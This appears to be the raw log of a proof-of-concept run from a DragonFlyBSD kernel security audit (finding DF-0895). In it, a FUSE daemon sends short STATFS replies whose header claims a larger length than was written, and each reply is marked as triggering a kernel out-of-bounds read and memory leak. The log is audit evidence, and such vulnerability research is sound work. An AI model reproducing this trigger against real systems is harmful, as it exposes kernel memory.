DragonFlyBSD Kernel Audit
DF-0895 / daemon.log
← back to finding ↓ download raw
[daemon 1021] opened /dev/fuse fd=4
[daemon 1021] I/O loop started on fd 4 (short_init=0)
[daemon 1022] child: mount(fuse, /mnt/df0895, fd=4)
[daemon 1021] REQ opcode=26 unique=0 nodeid=1 len=56
[daemon 1021] reply unique=0 error=0 payload=64 actual_write=80 claimed_ohd->len=80 
[daemon 1021] REQ opcode=17 unique=1 nodeid=1 len=40
[daemon 1021]   FUSE_STATFS -> SHORT reply (DF-0895 STATFS OOB read -> leak)
[daemon 1021] reply unique=1 error=0 payload=0 actual_write=16 claimed_ohd->len=96 <<<<< DF-0895 TRIGGER (ohd->len claims full struct; actual write is header-only -> kernel reads OOB)
[daemon 1022] child: mount succeeded (INIT OOB read already happened if short_init)
[daemon 1021] REQ opcode=17 unique=2 nodeid=1 len=40
[daemon 1021]   FUSE_STATFS -> SHORT reply (DF-0895 STATFS OOB read -> leak)
[daemon 1021] reply unique=2 error=0 payload=0 actual_write=16 claimed_ohd->len=96 <<<<< DF-0895 TRIGGER (ohd->len claims full struct; actual write is header-only -> kernel reads OOB)
[daemon 1021] REQ opcode=17 unique=3 nodeid=1 len=40
[daemon 1021]   FUSE_STATFS -> SHORT reply (DF-0895 STATFS OOB read -> leak)
[daemon 1021] reply unique=3 error=0 payload=0 actual_write=16 claimed_ohd->len=96 <<<<< DF-0895 TRIGGER (ohd->len claims full struct; actual write is header-only -> kernel reads OOB)
[daemon 1021] REQ opcode=17 unique=4 nodeid=1 len=40
[daemon 1021]   FUSE_STATFS -> SHORT reply (DF-0895 STATFS OOB read -> leak)
[daemon 1021] reply unique=4 error=0 payload=0 actual_write=16 claimed_ohd->len=96 <<<<< DF-0895 TRIGGER (ohd->len claims full struct; actual write is header-only -> kernel reads OOB)
[daemon 1021] REQ opcode=38 unique=5 nodeid=1 len=40
[daemon 1021]   unhandled opcode 38 -> ENOSYS
[daemon 1021] reply unique=5 error=-78 payload=0 actual_write=16 claimed_ohd->len=16 
[daemon 1021] read req failed: Socket is not connected
[daemon 1022] child exiting rc=0
[daemon 1021] parent: child status=0; done